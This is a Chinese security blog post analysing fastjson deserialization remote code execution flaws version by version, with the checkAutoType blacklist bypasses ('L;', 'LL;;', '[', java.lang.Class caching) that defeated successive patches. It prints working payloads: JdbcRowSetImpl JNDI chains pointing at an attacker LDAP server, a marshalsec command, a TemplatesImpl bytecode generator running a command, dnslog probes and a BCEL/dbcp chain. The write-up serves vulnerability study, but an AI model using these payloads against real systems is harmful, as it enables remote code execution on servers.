1. 首页
  2. 渗透测试

fastjson反序列化漏洞分析

【推荐学习】暗月渗透测试培训 十多年渗透经验,体系化培训渗透测试 、高效学习渗透测试,欢迎添加微信好友aptimeok 咨询。

本文是对fastjson反序列化漏洞的分析,也是java反序列化系列的第四篇文章。

0x01 前言

fastjson是一个由阿里巴巴维护的一个json库。其采用一种”假定有序快速匹配算法”,是号称java中最快的json库,其可以将json数据与java Object之间相互转换。2017年官方在github上发布了反序列化漏洞的相关升级公告,fastjson在1.2.24以及之前版本存在远程代码执行漏洞,本文主要是对fastjson漏洞的相关分析。


0x02: fastjosn各版本分析

使用到的相关测试代码:

使用fastjson将json对象转回Object的方法,主要API有两个,JSON.parseObject和JSON.parse,最主要的区别是前者返回的是JsonObject,后者返回的是实际类型的对象,当没有对应类的定义的情况下,通常使用的是JSON.parseObject。

fastjosn接收的json通过@type字段来指定该JSON应该还原成何种类型的对象,fastjson会自动将json的key:value值映射到@type对应的类中,在反序列化时方便操作。

2.1fastjson<1.2.24

2.1.1:版本分析

2.1.1.11.1.20版本

Maven配置,这里使用的是fastjson 1.1.20版本,pom.xml如下,后续版本只需要更改<version>中的相关版本即可:

    <dependencies>        <dependency>            <groupId>com.alibaba</groupId>            <artifactId>fastjson</artifactId>            <version>1.1.20</version>        </dependency>    </dependencies>

在该版本下,执行上面测试代码,输出结果如下:

根据输出结果发现,其会自动调用@type指定类的默认构造器,之后调用类对应的setter、getter和is方法。该版本中,默认开启autotype,而@type就是autotype功能,该功能会自动将json的key:value值映射到@type对应的类中,进行反序列化操作。

值得注意的是,测试代码中public sex和private address都没有setter、getter方法,而public sex被成功赋值了,这是因为address属性是private(私有)的。

2.1.1.21.2.221.1.54.android

该版本中,增加了SupportNonPublicField特性,此时private address就算没有setter、getter也能成功赋值。

私有字段address也被成功赋值。

2.1.2 利用分析

2.1.2.1JdbcRowSetImpl.json

fastjson在1.2.24及之前没有任何防御策略,且autotype默认开启。

如下是常用的com.sun.JdbcRowSetImpl利用链:

//payload >= 1.1.16 && payload <= 1.2.24{  "@type":"com.sun.JdbcRowSetImpl",  "dataSourceName":"ldap://localhost:1389/Exploit",  "autoCommit":true}

使用JdbcRowSetImpl利用链进行漏洞利用

java编译生成Exploit.class文件。

在生成的Exploit.class文件目录下,使用python开启简单的HTTP服务,之后使用marshalsec转发,创建ldap服务。

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://192.168.1.6:8081/#Exploit

编写paylod。

import com.alibaba.fastjson.JSON;public class payload {  public static void main(String[] args) {    String payload="{"name":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://192.168.59.203:1389/Exploit","autoCommit":true}}";  JSON.parse(payload);  }}

执行即可触发漏洞。


利用链分析

由上文可知,在该版本中,会将json中的key:value值映射到@type指定的类中,进行反序列化操作,其会自动调用默认构造器,随后调用类对应的setter、getter和is方法。

那我们先追踪一下JdbcRowSetImpl类以及其dataSourceName、AutoCommit的setter、getter方法。

跟进com.sun.JdbcRowSetImpl类,其继承于BaseRowSet类。

dataSource私有字段在父类BaseRowSet中被定义,其存在setDataSourceName(String name),getDataSourceName方法。

同样,在JdbcRowSetImpl类中存在setAutoCommit和getAutoCommit方法,而setAutoCommit中调用了connect( )方法。

connect方法会调用InitialContext.lookup(this.getDataSourceName())方法,而this.getDataSourceName()参数就是payload中dataSourceName对应的JNDI名称。


因此在反序列时,payload中的dataSourceName和autoCommit通过setDataSourceName和setAutoCommit进行赋值,而在setAutoCommit中会调用connect方法,connect方法中又调用了lookup()方法,lookup在传入的参数就是JNDI名称,因此导致可以利用rmi/ldap方法进行远程调用。

2.1.2.2TemplatesImpl.json

还有一个利用链是:com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl

{"@type":"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl","_bytecodes":[base64编码后的payload],"_name":"aaa","_tfactory": {},"_outputProperties": {}}

将paylaod恶意代码进行base64编码后即为生成的_bytecodes。

import com.alibaba.fastjson.JSON;import com.alibaba.fastjson.parser.Feature;import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;import javassist.ClassPool;import javassist.CtClass;import org.apache.commons.codec.binary.Base64;
public class Test3 {    public static void main(String[] args) throws Exception {        String evilCode_base64 = readClass();        final String NASTY_CLASS = "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl";        String payload = "{'rand1':{" +                ""@type":"" + NASTY_CLASS + ""," +                ""_bytecodes":["" + evilCode_base64 + ""]," +                "'_name':'aaa'," +                "'_tfactory':{}," +                "'_outputProperties':{}" +                "}}n";        System.out.println(payload);        JSON.parse(payload, Feature.SupportNonPublicField); 成功
    }    public static class AaAa {    }    public static String readClass() throws Exception {        ClassPool pool = ClassPool.getDefault();        CtClass cc = pool.get(AaAa.class.getName());        String cmd = "java.lang.Runtime.getRuntime().exec("calc");";        cc.makeClassInitializer().insertBefore(cmd);        String randomClassName = "AaAa" + System.nanoTime();        cc.setName(randomClassName);        cc.setSuperclass((pool.get(AbstractTranslet.class.getName())));        byte[] evilCode = cc.toBytecode();        return Base64.encodeBase64String(evilCode);    }}

执行即可触发漏洞。

利用链分析

该利用链中最重要的是_bytecodes,但其为private私有字段,且没有setter方法,因此使用该payload需要设置Feature.SupportNonPublicField,所以该payload利用条件比较苛刻。

TemplatesImpl类中_bytecodes、_tfactory、_name、_outputProperties、_class并没有对应的setter,且只有_outputProperties有对应的getter,即getOutputProerties()方法,那如何利用呢?

这里用的就是FieldDeserializer.setValue方法,对于反序列化的目标类而言,如果只有字段对应的getter方法时,则会调用相应的getter方法。

_outputProperties字段在TemplatesImpl类中有getOutputProperties()方法,跟进一下此方法。

getOutputProperties方法里会调用newTransformer方法,newTransformer方法在实例化TransformerImpl时会调用getTransletInstance。

getTransletInstance进一步调用defineTransletClasses()方法。


在defineTransletClasses方法中会根据_bytecodes来生成一个java类,生成的java类随后会被getTransletInstance方法用到生成一个实例,最终执行命令Runtime.getRuntime.exec()。

值得注意的是,ysoserial的cc3利用链也是使用到了TemplatesImpl类来动态生成可执行命令的代码,在无commons-collections的Shiro反序列化利用时也可能会用到此类,其本质是TemplatesImpl类中调用了defineClass方法去动态加载字节码,调用链如下:

TemplatesImpl#getOutputProperties()  TemplatesImpl#newTransformer()    TemplatesImpl#getTransletInstance()      TemplatesImpl#defineTransletClasses()        TransletClassLoader#defineClass()


2.2fastjson 1.2.25-1.2.41

2.2.1:版本分析

将Meaven的pom.xml里fastjson的版本更换为1.2.25,再次用前面的测试案例进行测试,发现报错:

报错提示,不支持autoType,这是因为该版本默认关闭了autoType功能,并且加入了黑名单和白名单来防御autoType开启的情况,同时增加checkAutoType方法对@type指定的类进行黑白名单检查,这些检测中,白名单优先级最高,白名单如果允许就不检测黑名单与危险类,否则继续检测。

黑名单如下。


之后的很多漏洞主要是对checkAutotype及本身逻辑缺陷导致的绕过。

在ParserConfig.checkAutoType方法中,主要的检测步骤如下:

步骤1:开启了autoTypeSupport,先检查白名单,再检查黑名单步骤2:从class mapping中尝试获取目标类步骤3:未开启autoTypeSupport时,先检查黑名单,再检查白名单步骤4:如果autoTypeSupport开启,就加载目标类,如果目标类已加载,则判断是否是ClassLoaderDateSource的子类或子接口


2.2.2:利用分析

2.2.2.1. JdbcRowSetImpl.json

该版本主要是对步骤4的绕过,当然前提是前3个检查步骤都通过,在步骤4中如果autoTypeSupport开启,就加载目标类。

跟进TypeUtils.loadClass()方法,首先会使用startsWith和endWith方法判断ClasName首尾是否是”L”和”;”,如果是则去掉className前后的”L”和”;”,并调用loadClass方法加载对应的类,那如果将@type中的目标类写成”Lcom.sun.rowset.JdbcRowSetImpl;”,就可以导致绕过。

如上方法的JdbcRowSetImpl利用链:

{"@type": "Lcom.sun.rowset.JdbcRowSetImpl;","dataSourceName": "ldap://localhost:1389/Exploit","autoCommit": true}

payload:

import com.alibaba.fastjson.JSON;import com.alibaba.fastjson.parser.ParserConfig;public class payload3 {  public static void main(String[] args) {    String payload="{'name':{"@type":"Lcom.sun.rowset.JdbcRowSetImpl;","dataSourceName":"ldap://192.168.59.203:1389/Exploit","autoCommit": true}}";    ParserConfig.getGlobalInstance().setAutoTypeSupport(true);    JSON.parse(payload);  }}

执行即可触发漏洞,由于用的测试版本是1.2.25,需要设置ParserConfig.getGlobalInstance().setAutoTypeSupport(true);

2.3fastjson 1.2.42

2.3.1:版本分析

将Meaven的pom.xml里fastjson的版本更换为1.2.42。

1.2.42中,黑名单采用十进制的hashcode形式匹配,checkAutotype检测也进行了相应hash运算。


而对于1.2.25~1.2.41的checkAutoType绕过修复方法是判断className前后是不是”L”和”;”,如果是,就截取第二个字符和到倒数第二个字符。截取之后过程就和1.2.25~1.2.41版本利用方法一样了,会调用TypeUtils.loadClass()方法加载目标类,而TypeUtils.loadClass()方法会再次判断className前后是不是L和;,如果是则加载目标类,这就导致双写绕过。

如下TypeUtils.loadClass(String,ClassLoader)方法会再次判断className前后是不是”L”和”;”,如果是则加载目标类,这就导致双写绕过。



2.3.2:利用分析

2.3.2.1JdbcRowSetImple.json

跟据如上分析,如上方法的JdbcRowSetImpl利用链如下:

{"@type":"LLcom.sun.rowset.JdbcRowSetImpl;;","dataSourceName":"ldap://192.168.59.203:1389/Exploit","autoCommit":true}

payload:

import com.alibaba.fastjson.JSON;import com.alibaba.fastjson.parser.ParserConfig;public class payload5 {    public static void main(String[] args) {        String payload = "{"name":{"@type":"LLcom.sun.rowset.JdbcRowSetImpl;;","dataSourceName":"ldap://192.168.59.203:1389/Exploit","autoCommit":true}}";        ParserConfig.getGlobalInstance().setAutoTypeSupport(true);        JSON.parse(payload);    }}

执行即可触发漏洞。

2.4fastjson 1.2.43

2.4.1:版本分析

将Meaven的pom.xml里fastjson的版本更换为1.2.43。

针对1.2.42中的绕过,1.2.43版本中在chackAutoType第一个if条件之下(L开头,;结尾),又加了一个以LL开头的条件,如果第一个条件满足且以LL开头,直接抛出异常。


但是TypeUtils.loadClass(String,ClassLoader)方法对”[“也进行了特殊处理,导致再次绕过。

2.4.2:利用分析

2.4.2.1JdbcRowSetImple.json

跟据如上分析,如上方法的JdbcRowSetImpl利用链如下:

{"name":{"@type":"[com.sun.rowset.JdbcRowSetImpl"[{"dataSourceName":"ldap://127.0.0.1:1389/Exploit","autoCommit":true]}}

pyaload:

import com.alibaba.fastjson.JSON;import com.alibaba.fastjson.parser.ParserConfig;public class payload4 {    public static void main(String[] args) {        String payload4="{'name':{"@type":"[com.sun.rowset.JdbcRowSetImpl"[{"dataSourceName":"ldap://192.168.59.203:1389/Exploit","autoCommit":true}]}";        ParserConfig.getGlobalInstance().setAutoTypeSupport(true);        JSON.parse(payload4);    }}

执行即可触发漏洞。

2.5fastjson 1.2.44

2.5.1:版本分析

将Meaven的pom.xml里fastjson的版本更换为1.2.44。

版本中删除了之前的”L”开头,”;”结尾、 “LL”开头的判断,改成了”[“开头就抛异常,”;”结尾也抛异常,因此修复了之前的双写等绕过方法。



2.6fastjson 1.2.45-1.2.46

2.6.1:版本分析

该版本期间增加了黑名单,未发生checkAutoType绕过。


2.7fastjson 1.2.47

2.7.1:版本分析

该版本存在不开启autoType情况的绕过,主要利用的是java.lang.class这个类,该类不在黑名单中,因而可以绕过checkAutoType方法检查,主要利用的思路是在deserializer中,java.lang.Class类由MiscCodec类负责处理,其会加载json数据中key为“val”的value值,那如果将val的值设置为“com.sun.row.JdbcRowSetImpl”类,就可以将JdbcRowSetImpl加载到内存中,同时,添加到缓存即class mapping里。

在前文分析的ParserConfig.checkAutoType方法中,其会对@type指定的类进行检查,在检查步骤2中,即autoTypeSupport未开启,或autoTypeSupport开启时,黑白名单均未匹配上,则从class mapping中尝试获取目标类,这就导致可以组合利用绕过检测。


2.7.2:利用分析

2.7.2.1Class.json

java.lang.Class利用链如下:

{    "rand1": {        "@type": "java.lang.Class",         "val": "com.sun.rowset.JdbcRowSetImpl"    },     "rand2": {        "@type": "com.sun.rowset.JdbcRowSetImpl",         "dataSourceName": "ldap://localhost:1389/Object",         "autoCommit": true    }}

payload:

import com.alibaba.fastjson.JSON;public class payload6 {    public static void main(String[] args) {        String payload = "{n" +                "    "rand1": {n" +                "        "@type": "java.lang.Class", n" +                "        "val": "com.sun.rowset.JdbcRowSetImpl"n" +                "    }, n" +                "    "rand2": {n" +                "        "@type": "com.sun.rowset.JdbcRowSetImpl", n" +                "        "dataSourceName": "ldap://192.168.59.203:1389/Exploit", n" +                "        "autoCommit": truen" +                "    }n" +                "}";        JSON.parse(payload);
    }}

执行即可触发漏洞。

下面分析fastjson对该payload的处理过程。

在ParserConfig.checkAutoType()方法中,会从deserializers中查找需要处理的类是否在其中,此处即java.lang.class。

跟进findclass。

之后会使用DefaultJSONParser.checkAutoType方法来检测,这里传入的类就是java.lang.class。


而java.lang.class并不在黑名单中,因此黑名单检测通过,检查完成后,回到DefaultJSONParser.parseObject()方法中,会调用负责处理java.lang.Class类型数据的类进行处理。

在ParserConfig.getDeserializer(Type)方法可以看到,java.lang.Class由MiscCodec类进行处理。

获取MiscCodec对象实例之后,调用其deserialze()方法,对后续数据进行处理。

在MiscCodec.deserialze方法中,后续的数据中,需包含key为“val”的数据,否则会抛出异常。

这里会调用DefaultJSONParser#parser方法来取出对应的value,即传入的恶意类com.sun.rowset.JdbcRowSetImpl。

随后,会根据clazz的类型进行针对处理,这里为java.lang.Class类,则会调用TypeUtils.loadClass加载val对应的类,即com.sun.rowset.JdbcRowSetImpl类。

跟进loadClass方法,先从缓存中获取相应的类,如果缓存中不存在,则会从classLoader中加载,并将其添加到缓存中,这里将恶意类 com.sun.rowset.JdbcRowSetImpl放到mapping中,放到mapping之前有个if判断,如果cache为true的情况下,就放到mapping中,而这里的cache实际上默认就是为true的,即对加载的类进行缓存。

再回到checkAutoType中,如果当前mapping中存在恶意类,那么这里会从mapping中取出恶意类赋值给clazz,然后因为代码中clazz不为空,所以这里直接返回了恶意类。

rand1将JdbcRowSetImpl加载到了缓存中,因此在解析rand2时,@type目标类“com.sun.rowset.JdbcSetImpl”,会通过TypeUtils.getClassFromMapping()从缓存中进行加载,如下所示。

根据如上的分析,payload有两个@type,第一个@type中的目标类java.lang.Class主要作用是JdbcRowSetImpl加载到内存中,同时,添加到缓存即class mapping里,第二个@type中的目标类JdbcRowSetImpl,在autoTypeSupport未开启时从class mapping中尝试获取目标类,这就导致可以组合利用绕过检测。

2.8fastjson 1.2.48—1.2.68

2.8.1:版本分析

2.8.1.11.2.48

1.2.48修复了1.2.47的绕过,在MiscCodec,处理Class类的地方,设置了cache为false:将java.net.InetAddress和java.lang.Class加入黑名单。

在1.2.48到最新版本1.2.68之间,都是增加黑名单类,可参考【https://github.com/LeadroyaL/fastjson-blacklist】

2.8.1.21.2.68

1.2.68版本中引入了safemode,打开safemode时,@type就没用了,无论白名单和黑名单,都不支持autoType了。

0x03: fastjson利用

3.1:探测

目前fastjson探测比较通用的就是dnslog方式去探测,其中Inet4Address、Inet6Address直到1.2.67都可用。

{"rand1":{"@type":"java.net.InetAddress","val":"http://dnslog"}}{"rand2":{"@type":"java.net.Inet4Address","val":"http://dnslog"}}{"rand3":{"@type":"java.net.Inet6Address","val":"http://dnslog"}}{"rand4":{"@type":"java.net.InetSocketAddress"{"address":,"val":"http://dnslog"}}}{"rand5":{"@type":"java.net.URL","val":"http://dnslog"}}


3.2:出网

基于JNDI注入,jndi利用,其中分为rmi或者ldap,使用ldap限制比rmi小,详见2.1.2.1。


3.3:不出网

3.3.1:直接反序列化(_bytecodes)

Poc基于TemplatesImpl,详见2.1.2.2。

3.3.2:直接反序列化(dbcp)

org.apache.tomcat.dbcp.dbcp.BasicDataSource对象被Fastjson反序列化时,首先通过setter方法设置其driverClassLoader和driverClassName属性,然后会调用其getConnection方法,又最终调用了createConnectionFactory方法,其通过Class.forName方法用driverClassLoader加载driverClassName,并设置是否初始化参数为true。forName方法底层的加载逻辑仍是调用类加载器的loadClass方法加载自定义类。

driverClassLoader和driverClassName都是json传入,可控,那么若将driverClassLoader设置为com.sun.org.apache.bcel.internal.util.ClassLoader,driverClassName设置为经BCEL编码后的自定义类,那么就实现了在反序列化时加载自定义类的目的。于是攻击者可以在static代码块中编写恶意代码,将其进行BCEL编码,在类初始化时实现恶意代码执行。

依赖包tomcat-dbcp使用也比较广泛,是Tomcat的数据库驱动组件:

Spring在第三方依赖包中包含了两个数据源的实现类包,其一是ApacheDBCPorg.apache.commons.dbcp.BasicDataSource#tomcat7及以下 (tomcat部署自带)org.apache.tomcat.dbcp.dbcp.BasicDataSource#tomcat8以上 (tomcat部署自带)org.apache.tomcat.dbcp.dbcp2.BasicDataSource

构造

{"@type":"java.lang.Class","val":"com.sun.org.apache.bcel.internal.util.ClassLoader"},{"@type": "org.apache.tomcat.dbcp.dbcp.BasicDataSource","driverClassLoader":{"@type": "com.sun.org.apache.bcel.internal.util.ClassLoader"},"driverClassName":"$BCEL$$l$8b$I$A....."}

0x4 结语

  

fastjson反序列化漏洞最开始主要在对数据解析的理解上,@type字段是如何解析目标类的,后续主要是对其修复方法的绕过以及利用链的分析,再就是对java中动态加载字节码的理解,如TemplatesImpl和BCEL。java中的这些反序列化漏洞其实可以综合起来去分析理解,ysoserial中也用到了TemplatesImpl,shrio中的一些利用链也会用到此类,向p牛学习~。

参考资料:

[1]Java安全学习笔记—wal613

[2]https://paper.seebug.org/1192/#fastjson

[3]http://www.lmxspace.com/2019/06/29/FastJson-%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E5%AD%A6%E4%B9%A0/

原创文章,作者:mOon,如若转载,请注明出处:https://www.moonsec.com/5685.html

联系我们

400-800-8888

在线咨询:点击这里给我发消息

邮件:admin@example.com

工作时间:周一至周五,9:30-18:30,节假日休息